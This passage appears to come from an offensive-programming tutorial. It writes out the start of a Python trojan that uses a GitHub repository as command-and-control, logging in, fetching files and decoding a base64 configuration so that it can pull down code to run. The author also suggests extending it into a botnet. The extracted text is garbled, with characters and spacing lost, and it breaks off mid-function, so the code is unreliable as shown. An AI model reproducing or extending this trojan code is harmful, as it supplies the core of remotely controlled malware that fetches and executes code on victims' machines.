now we're going to create the main trojan that will suck down configuration options and code to run from github the first step is to build the necessary code to handle connectingauthenticatingand communicating to the github api let' start by opening new file called git_trojan py and entering the following codeimport json import base import sys import time import imp import random import threading import queue import os from github import login trojan_id "abctrojan_config "% jsontrojan_id data_path "data/% /trojan_id trojan_modules[configured false task_queue queue queue(this is just some simple setup code with the necessary importswhich should keep our overall trojan size relatively small when compiled say relatively because most compiled python binaries using py exe[ are around mb the only thing to note is the trojan_id variable that uniquely identifies this trojan if you were to explode this technique out to full botnetyou' want the capability to generate trojansset their idautomatically create configuration file that' pushed to githuband then compile the trojan into an executable we won' build botnet todaythoughi'll let your imagination do the work now let' put the relevant github code in place def connect_to_github()gh login(username="yourusername",password="yourpassword"repo gh repository("yourusername",""branch repo branch("master"return gh,repo,branch def get_file_contents(filepath)gh,repo,branch connect_to_github(tree branch commit commit tree recurse(for filename in tree treeif filepath in filename pathprint "[*found file %sfilepath blob repo blob(filename _json_data['sha']return blob content return none def get_trojan_config()global configured config_json get_file_contents(trojan_configconfig json loads(base decode(config_json)configured true